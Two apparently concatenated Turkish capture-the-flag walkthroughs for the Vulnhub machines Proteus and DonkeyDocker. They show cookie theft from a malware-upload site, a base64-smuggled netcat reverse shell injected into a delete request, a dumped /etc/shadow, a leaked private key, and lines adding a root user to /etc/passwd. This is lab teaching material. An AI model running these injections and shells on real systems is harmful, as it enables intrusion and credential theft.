Genellikle malware analiz sitelerinde (eskiden camas.comodo.com vardı anubis vardı) gönderdiğiniz malware otomatize şekilde incelenmenin dışında manuel olarak da bakılıyorsa https://cit.valkyrie.comodo.com/ gibi, gönderdiğiniz kod yetkili kullanıcılarda da çalışacak demektir. Bu durumda session yani oturum bilgilerini elde edebiliriz. Eskiden sorgulu sorgusuz downloader’lar ile direk rat(remote administrator tool) serverları gönderilirdi. Hatta chrome’da bulunan bir 0day ile siz siteye girdiğinizde exploit çoktan çalışmış sistemi ele geçirmiş olurdu ( yıl 2013).
Burada bizim yapacağımız da çerezleri elde etmek, bunun için apache servisimi çalıştırıp loglara düşmesini sağlıyorum.
Tail -f ile log dosyasını inceliyorum. Tail -f diyince burdan Caner Filibelioglu‘na ve Mustafa Kaan Demirhan‘a büyük fontlarla selam olsun, Enes sana yok
192.168.1.20 - - [26/Jun/2017:22:42:01 -0400] "GET /?cookie=proteus_session=1498525321%7Cj0UwsAI4bPM6hnqlPLpaIGYMxF3aBtI1S9Ol84IpY3YfC%2FcDT8Za1htY91c%2Bj%2FUpnd%2Bi%2Btmh8z6DdTVtZwS9JAH88WyMQDRGR%2FA6dl5OEzvrToKj2YzHSujIn9UDeLMX%7C3128832d24bc9bec2f8f15bdb81c1124717a443f HTTP/1.1" 200 3380 "http://127.0.0.1/samples" "Mozilla/5.0 (Unknown; Linux i686) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"
Logları incelediğimizde proteus_session başlıklı çerezi görüyoruz. Deneyelim…
Bunun için tarayıcılardaki eklentileri veya proxy araçlarını kullanabilirsiniz.
Cookie ekledikten sonra yetkiyi aldım.
Mantıken normal kullanıcı yetkisiyle ulaşamadığınız, malwareadm kullanıcısı ile erişiminizin olduğu bir yerde zafiyet olmalıydı. O da gelen malware dosyalarını silmek için gönderilen istek.
Base64 ile http://192.168.1.20/delete/NTk1MWJhNDZhYWU0Yi5iaW4= şeklinde gönderilen istekte remote code execiton zafiyeti mevcut. Burdan reverse shell almamız gerek. (bkz. EN | Reverse Shell Cheat Sheet )
Ayrıca yüklediğimiz dosyadan kod çalıştırabildiğimiz için proxy ile araya girerek de bağlantı alabilirdik.
5951ba46aae4b.bin ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.24 4545 >/tmp/f NTk1MWJhNDZhYWU0Yi5iaW4gO3JtIC90bXAvZjtta2ZpZm8gL3RtcC9mO2NhdCAvdG1wL2Z8L2Jpbi9zaCAtaSAyPiYxfG5jIDE5Mi4xNjguMS4yNCA0NTQ1ID4vdG1wL2Y=
Reverse shell almak için gerekli komutlarımı base64 ile encode edip gönderdim ve bağlantı geldi.
Bir boşluk yanlış koymamdan dolayı 5 defa bağlantım kesildi.
Şimdi ssh portunun açık olması bana burda priva key elde etmemiz gerektiğini düşündürse de başaramadım. Gece Hakkı Yüce ile tartışırken geldi rootladı
Öncelikle uzun uzun baktıkran sonra bayağı root senaryosu olduğunu farkettik. Gelelim root olmaya…
/home/malwareadm/sites/proteus_site dizinini kurcalarken çerezini alarak girdiğimiz malwareadm kullanıcısının parolasını elde ettik.
// THIS IS JUST USED TO IMPERSONATE AN ADMIN FOR THE CHALLENGE var username = 'malwareadm'; var pwd = 'q-L%40X%21%7Bl_%278%7C%29o%3FQ%2BTapahQ%3C_'; var webPage = require('webpage'); var page = webPage.create(); var postBody = 'username=' + username + '&password=' + pwd; page.open('http://127.0.0.1/samples', 'post', postBody, function (status) { if (status !== 'success') { console.log('Unable to post!'); } else { console.log(JSON.stringify({ cookies: phantom.cookies })); } phantom.exit(); });
Url decode ile q-L@X!{l_’8|)o?Q+TapahQ<_ parolasını elde ettik.
Şu an etkileşimli kabukta olmadığımız için sudo gibi komutları çalıştıramıyoruz. Bu yüzden python -c ‘import pty; pty.spawn(“/bin/sh”)’ ile etkileşimli shelle geçiyorum.
su malwareadm ile kullanıcıya geçtik. sudo su ile de root kullanıcısını aldık.
root@Proteus:/home/malwareadm/sites/proteus_site# cat /etc/shadow cat /etc/shadow root:!:17288:0:99999:7::: daemon:*:17086:0:99999:7::: bin:*:17086:0:99999:7::: sys:*:17086:0:99999:7::: sync:*:17086:0:99999:7::: games:*:17086:0:99999:7::: man:*:17086:0:99999:7::: lp:*:17086:0:99999:7::: mail:*:17086:0:99999:7::: news:*:17086:0:99999:7::: uucp:*:17086:0:99999:7::: proxy:*:17086:0:99999:7::: www-data:*:17086:0:99999:7::: backup:*:17086:0:99999:7::: list:*:17086:0:99999:7::: irc:*:17086:0:99999:7::: gnats:*:17086:0:99999:7::: nobody:*:17086:0:99999:7::: systemd-timesync:*:17086:0:99999:7::: systemd-network:*:17086:0:99999:7::: systemd-resolve:*:17086:0:99999:7::: systemd-bus-proxy:*:17086:0:99999:7::: syslog:*:17086:0:99999:7::: _apt:*:17086:0:99999:7::: messagebus:*:17086:0:99999:7::: lxd:*:17288:0:99999:7::: uuidd:*:17288:0:99999:7::: dnsmasq:*:17288:0:99999:7::: sshd:*:17288:0:99999:7::: pollinate:*:17288:0:99999:7::: malwareadm:$6$C7ZB0G8M$wMCrGeGYvmLb9QkQ.ELBZNrFO6vMVnKboahpMY1vBqCO53FqkUgeyIWLn0Dg3SY5I66rej.LGIGAaDs6gDiV0.:17296:0:99999:7::: mysql:!:17288:0:99999:7:::
root@Proteus:/home/malwareadm/sites/proteus_site# id id uid=0(root) gid=0(root) groups=0(root) root@Proteus:/home/malwareadm/sites/proteus_site#
Root yetkisiyle çalışan admin_login_logger dikkatimizi çekti.
Çalıştırdığımızda aşağıdaki gibi kullanımını belirtti.
./admin_login_logger Usage: ./admin_login_logger ADMIN LOGIN ATTEMPT (This will be done with phantomjs)
Rastgele bir kod çalıştırdığımızda /var/log/proteus/log altına kayıt olduğunu söyledi.
./admin_login_logger cat /etc/passwd Writing datafile 0x941c1d0: '/var/log/proteus/log'
Burda istediğiniz gibi kod çalıştırabilir kendi kullanıcınızı ekleyebilirsiniz.
DonkeyDocker makinasındaki mantıkla
echo 'berk:x:0:0::/root:/bin/bash' >> /etc/passwd python( -c ' print " berk:!:0:0:berk:/home:berk:/bin/bash "/etc/passwd" ')
gibi komutlarla root yetkisine erişebilirsiniz. Son olarak root dizinindeki flag…
]]>Öncelikle makinamızın ip adresini tespit edelim. arp-scan 172.189.64.0/24 komutu ile arp taraması yaptıktan sonra mac adresinden 172.189.64.141 ip adresini öğreniyorum. Nmap ile detaylı port taraması yapalım. nmap 172.189.64.141 -A komutu ile çıktımıza bakalım. Dirbuster aracı ile dizinleri tarayalım. dirb http://172.189.64.141 GENERATED WORDS: 4612 ---- Scanning URL: http://172.189.64.141/ ---- + http://172.189.64.141/about (CODE:200|SIZE:2098) + http://172.189.64.141/admin.php (CODE:301|SIZE:315) ==> DIRECTORY: http://172.189.64.141/assets/ + […]
]]>Öncelikle makinamızın ip adresini tespit edelim.
arp-scan 172.189.64.0/24 komutu ile arp taraması yaptıktan sonra mac adresinden 172.189.64.141 ip adresini öğreniyorum. Nmap ile detaylı port taraması yapalım.
nmap 172.189.64.141 -A komutu ile çıktımıza bakalım.
Dirbuster aracı ile dizinleri tarayalım. dirb http://172.189.64.141
GENERATED WORDS: 4612 ---- Scanning URL: http://172.189.64.141/ ---- + http://172.189.64.141/about (CODE:200|SIZE:2098) + http://172.189.64.141/admin.php (CODE:301|SIZE:315) ==> DIRECTORY: http://172.189.64.141/assets/ + http://172.189.64.141/contact (CODE:200|SIZE:3207) ==> DIRECTORY: http://172.189.64.141/css/ ==> DIRECTORY: http://172.189.64.141/dist/ + http://172.189.64.141/index (CODE:200|SIZE:4090) + http://172.189.64.141/index.php (CODE:301|SIZE:315) + http://172.189.64.141/info.php (CODE:301|SIZE:314) ==> DIRECTORY: http://172.189.64.141/mailer/ + http://172.189.64.141/phpinfo.php (CODE:301|SIZE:317) + http://172.189.64.141/robots.txt (CODE:200|SIZE:79) + http://172.189.64.141/server-status (CODE:403|SIZE:302) + http://172.189.64.141/xmlrpc.php (CODE:301|SIZE:316) + http://172.189.64.141/xmlrpc_server.php (CODE:301|SIZE:323) ---- Entering directory: http://172.189.64.141/assets/ ---- + http://172.189.64.141/assets/admin.php (CODE:301|SIZE:322) + http://172.189.64.141/assets/index.php (CODE:301|SIZE:322) + http://172.189.64.141/assets/info.php (CODE:301|SIZE:321) ==> DIRECTORY: http://172.189.64.141/assets/js/ + http://172.189.64.141/assets/phpinfo.php (CODE:301|SIZE:324) + http://172.189.64.141/assets/xmlrpc.php (CODE:301|SIZE:323) + http://172.189.64.141/assets/xmlrpc_server.php (CODE:301|SIZE:330) ---- Entering directory: http://172.189.64.141/css/ ---- + http://172.189.64.141/css/admin.php (CODE:301|SIZE:319) + http://172.189.64.141/css/index.php (CODE:301|SIZE:319) + http://172.189.64.141/css/info.php (CODE:301|SIZE:318) + http://172.189.64.141/css/phpinfo.php (CODE:301|SIZE:321) + http://172.189.64.141/css/xmlrpc.php (CODE:301|SIZE:320) + http://172.189.64.141/css/xmlrpc_server.php (CODE:301|SIZE:327) ---- Entering directory: http://172.189.64.141/dist/ ---- + http://172.189.64.141/dist/admin.php (CODE:301|SIZE:320) ==> DIRECTORY: http://172.189.64.141/dist/css/ ==> DIRECTORY: http://172.189.64.141/dist/font/ + http://172.189.64.141/dist/index.php (CODE:301|SIZE:320) + http://172.189.64.141/dist/info.php (CODE:301|SIZE:319) + http://172.189.64.141/dist/phpinfo.php (CODE:301|SIZE:322) + http://172.189.64.141/dist/xmlrpc.php (CODE:301|SIZE:321) + http://172.189.64.141/dist/xmlrpc_server.php (CODE:301|SIZE:328) ---- Entering directory: http://172.189.64.141/mailer/ ---- + http://172.189.64.141/mailer/admin.php (CODE:301|SIZE:322) ==> DIRECTORY: http://172.189.64.141/mailer/docs/ ==> DIRECTORY: http://172.189.64.141/mailer/examples/ ==> DIRECTORY: http://172.189.64.141/mailer/extras/ + http://172.189.64.141/mailer/index.php (CODE:301|SIZE:322) + http://172.189.64.141/mailer/info.php (CODE:301|SIZE:321) ==> DIRECTORY: http://172.189.64.141/mailer/language/ + http://172.189.64.141/mailer/LICENSE (CODE:200|SIZE:26421) + http://172.189.64.141/mailer/phpinfo.php (CODE:301|SIZE:324) ==> DIRECTORY: http://172.189.64.141/mailer/test/ + http://172.189.64.141/mailer/xmlrpc.php (CODE:301|SIZE:323) + http://172.189.64.141/mailer/xmlrpc_server.php (CODE:301|SIZE:330) ---- Entering directory: http://172.189.64.141/assets/js/ ---- + http://172.189.64.141/assets/js/admin.php (CODE:301|SIZE:325) + http://172.189.64.141/assets/js/index.php (CODE:301|SIZE:325) + http://172.189.64.141/assets/js/info.php (CODE:301|SIZE:324) + http://172.189.64.141/assets/js/phpinfo.php (CODE:301|SIZE:327) + http://172.189.64.141/assets/js/xmlrpc.php (CODE:301|SIZE:326) + http://172.189.64.141/assets/js/xmlrpc_server.php (CODE:301|SIZE:333) ---- Entering directory: http://172.189.64.141/dist/css/ ---- + http://172.189.64.141/dist/css/admin.php (CODE:301|SIZE:324) + http://172.189.64.141/dist/css/index.php (CODE:301|SIZE:324) + http://172.189.64.141/dist/css/info.php (CODE:301|SIZE:323) + http://172.189.64.141/dist/css/phpinfo.php (CODE:301|SIZE:326) + http://172.189.64.141/dist/css/xmlrpc.php (CODE:301|SIZE:325) + http://172.189.64.141/dist/css/xmlrpc_server.php (CODE:301|SIZE:332) ---- Entering directory: http://172.189.64.141/dist/font/ ---- + http://172.189.64.141/dist/font/admin.php (CODE:301|SIZE:325) + http://172.189.64.141/dist/font/index.php (CODE:301|SIZE:325) + http://172.189.64.141/dist/font/info.php (CODE:301|SIZE:324) + http://172.189.64.141/dist/font/phpinfo.php (CODE:301|SIZE:327) + http://172.189.64.141/dist/font/xmlrpc.php (CODE:301|SIZE:326) + http://172.189.64.141/dist/font/xmlrpc_server.php (CODE:301|SIZE:333) ---- Entering directory: http://172.189.64.141/mailer/docs/ ---- + http://172.189.64.141/mailer/docs/admin.php (CODE:301|SIZE:327) + http://172.189.64.141/mailer/docs/index.php (CODE:301|SIZE:327) + http://172.189.64.141/mailer/docs/info.php (CODE:301|SIZE:326) + http://172.189.64.141/mailer/docs/phpinfo.php (CODE:301|SIZE:329) + http://172.189.64.141/mailer/docs/xmlrpc.php (CODE:301|SIZE:328) + http://172.189.64.141/mailer/docs/xmlrpc_server.php (CODE:301|SIZE:335) ---- Entering directory: http://172.189.64.141/mailer/examples/ ---- + http://172.189.64.141/mailer/examples/admin.php (CODE:301|SIZE:331) ==> DIRECTORY: http://172.189.64.141/mailer/examples/images/ + http://172.189.64.141/mailer/examples/index.html (CODE:200|SIZE:6289) + http://172.189.64.141/mailer/examples/index.php (CODE:301|SIZE:331) + http://172.189.64.141/mailer/examples/info.php (CODE:301|SIZE:330) + http://172.189.64.141/mailer/examples/phpinfo.php (CODE:301|SIZE:333) ==> DIRECTORY: http://172.189.64.141/mailer/examples/scripts/ ==> DIRECTORY: http://172.189.64.141/mailer/examples/styles/ + http://172.189.64.141/mailer/examples/xmlrpc.php (CODE:301|SIZE:332) + http://172.189.64.141/mailer/examples/xmlrpc_server.php (CODE:301|SIZE:339) ---- Entering directory: http://172.189.64.141/mailer/extras/ ---- + http://172.189.64.141/mailer/extras/admin.php (CODE:301|SIZE:329) + http://172.189.64.141/mailer/extras/index.php (CODE:301|SIZE:329) + http://172.189.64.141/mailer/extras/info.php (CODE:301|SIZE:328) + http://172.189.64.141/mailer/extras/phpinfo.php (CODE:301|SIZE:331) + http://172.189.64.141/mailer/extras/xmlrpc.php (CODE:301|SIZE:330) + http://172.189.64.141/mailer/extras/xmlrpc_server.php (CODE:301|SIZE:337) ---- Entering directory: http://172.189.64.141/mailer/language/ ---- + http://172.189.64.141/mailer/language/admin.php (CODE:301|SIZE:331) + http://172.189.64.141/mailer/language/index.php (CODE:301|SIZE:331) + http://172.189.64.141/mailer/language/info.php (CODE:301|SIZE:330) + http://172.189.64.141/mailer/language/phpinfo.php (CODE:301|SIZE:333) + http://172.189.64.141/mailer/language/xmlrpc.php (CODE:301|SIZE:332) + http://172.189.64.141/mailer/language/xmlrpc_server.php (CODE:301|SIZE:339) ---- Entering directory: http://172.189.64.141/mailer/test/ ---- + http://172.189.64.141/mailer/test/admin.php (CODE:301|SIZE:327) + http://172.189.64.141/mailer/test/index.php (CODE:301|SIZE:327) + http://172.189.64.141/mailer/test/info.php (CODE:301|SIZE:326) + http://172.189.64.141/mailer/test/phpinfo.php (CODE:301|SIZE:329) + http://172.189.64.141/mailer/test/xmlrpc.php (CODE:301|SIZE:328) + http://172.189.64.141/mailer/test/xmlrpc_server.php (CODE:301|SIZE:335) ---- Entering directory: http://172.189.64.141/mailer/examples/images/ ---- + http://172.189.64.141/mailer/examples/images/admin.php (CODE:301|SIZE:338) + http://172.189.64.141/mailer/examples/images/index.php (CODE:301|SIZE:338) + http://172.189.64.141/mailer/examples/images/info.php (CODE:301|SIZE:337) + http://172.189.64.141/mailer/examples/images/phpinfo.php (CODE:301|SIZE:340) + http://172.189.64.141/mailer/examples/images/xmlrpc.php (CODE:301|SIZE:339) + http://172.189.64.141/mailer/examples/images/xmlrpc_server.php (CODE:301|SIZE:346) ---- Entering directory: http://172.189.64.141/mailer/examples/scripts/ ---- + http://172.189.64.141/mailer/examples/scripts/admin.php (CODE:301|SIZE:339) + http://172.189.64.141/mailer/examples/scripts/index.php (CODE:301|SIZE:339) + http://172.189.64.141/mailer/examples/scripts/info.php (CODE:301|SIZE:338) + http://172.189.64.141/mailer/examples/scripts/phpinfo.php (CODE:301|SIZE:341) + http://172.189.64.141/mailer/examples/scripts/xmlrpc.php (CODE:301|SIZE:340) + http://172.189.64.141/mailer/examples/scripts/xmlrpc_server.php (CODE:301|SIZE:347) ---- Entering directory: http://172.189.64.141/mailer/examples/styles/ ---- + http://172.189.64.141/mailer/examples/styles/admin.php (CODE:301|SIZE:338) + http://172.189.64.141/mailer/examples/styles/index.php (CODE:301|SIZE:338) + http://172.189.64.141/mailer/examples/styles/info.php (CODE:301|SIZE:337) + http://172.189.64.141/mailer/examples/styles/phpinfo.php (CODE:301|SIZE:340) + http://172.189.64.141/mailer/examples/styles/xmlrpc.php (CODE:301|SIZE:339) + http://172.189.64.141/mailer/examples/styles/xmlrpc_server.php (CODE:301|SIZE:346)
Robots.txt ve diğer dizinlerde çok önemli bilgiler bulamadım. Vulnhub’ı takip ettiğim için phpmailer zafiyeti için makina çıkacağını tahmin etmekteydim. Baktığımız zaman phpmailer kullanıldığını görüyoruz. http://172.189.64.141/mailer/VERSION adresinden 5.2.16 sürümü olduğunu öğrendim. Bu sürüme ait exploiti searchsploit aracı ile veya exploit-db’den elde edebilirsiniz.
https://www.exploit-db.com/exploits/40974/ adresindeki exploiti kullandım. Gerekli yerleri düzenlerek çalıştırıyorum.
Exploit çalıştı. http://172.189.64.141/backdoor.php adresinden reverse shell alıyorum.
Dizinler arasında geçiş yaparken main.sh dosyasını okuyorum. Görüldüğü gibi smith adında bir kullanıcı var ve ilk flag ordan alınacak. Home dizininden girmeyi deneyelim.
Smith dizinine geçmeye çalıştığımızda yetkimiz olmadığını görüyoruz.
$ cd smith cd smith /bin/sh: 20: cd: can't cd to smith
Smith kullanıcısının yetkisine erişmek parola tahmini kadar kolay oldu.
$ su smith su smith Password: smith
Gerekli yetkiyi edindikten sonra ilk bayrağı yakalıyoruz.
Bu aşamadan sonra ya uygun exploit bularak root olmayı düşündüm ama ssh portunun açık olması ve .ssh dizini olması exploit kullanmaya gerek kalmadığını gösterdi.
Private Key’i elde ettik.
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW QyNTUxOQAAACAhAQc3H36SyC4F6mO+/s+/wMLKL8/45ITnf9Hw47xKHwAAAJhsQyB3bEMg dwAAAAtzc2gtZWQyNTUxOQAAACAhAQc3H36SyC4F6mO+/s+/wMLKL8/45ITnf9Hw47xKHw AAAEAeyAfJp42y9KA/K5Q4M33OM5x3NDtKC2IljG4xT+orcCEBBzcffpLILgXqY77+z7/A wsovz/jkhOd/0fDjvEofAAAAE29yd2VsbEBkb25rZXlkb2NrZXIBAg== -----END OPENSSH PRIVATE KEY-----
ssh -i txt.txt [email protected] komutu ile bağlantıyı sağladık.
İkinci bayrağımızı bu dizin içerisinden elde ettik.
You tried harder! Good work ;-) Here a flag for your effort: flag01{e20523853d6733721071c2a4e95c9c60}
Hala root değiliz.
donkeydocker:/$ id uid=1000(orwell) gid=1000(orwell) groups=101(docker),1000(orwell)
Bu noktadan sonra docker yapısını araştırmam ve root olmayı öğrenmem 1 haftamı aldı. Ben makinayı çözene kadar Vm lisansı bitti
flag.txt dosyasını silip /etc/passwd dosyası olarak gösteriyoruz.
docker restart donkeydocker komutu ile yeniden başlatıyoruz.
Şimdi /etc/passwd dosyamıza kendi root haklarındaki kullanıcıyı eklememiz gerek. Bunun için echo ‘berk:x:0:0::/root:/bin/bash’ >> /etc/passwd komutunu kullanıyoruz.
Haliyle shadow dosyasından da parolayı vermek gerek, kendi parolamı kopyala yapıştır yaptım.
echo ‘berk:R2JhrPXIXqW3g:17251:0:99999:7:::’ >> /etc/shadow (tabii ki bu değil )
donkeydocker:/home/orwell# id uid=0(root) gid=0(root) groups=0(root) donkeydocker:/home/orwell#
Ve Son flag…
YES!! You did it :-). Congratulations! I hope you enjoyed this CTF VM. Drop me a line on twitter @dhn_, or via email [email protected] Here is your flag: flag2{60d14feef575bacf5fd8eb06ec7cd8e7}
]]>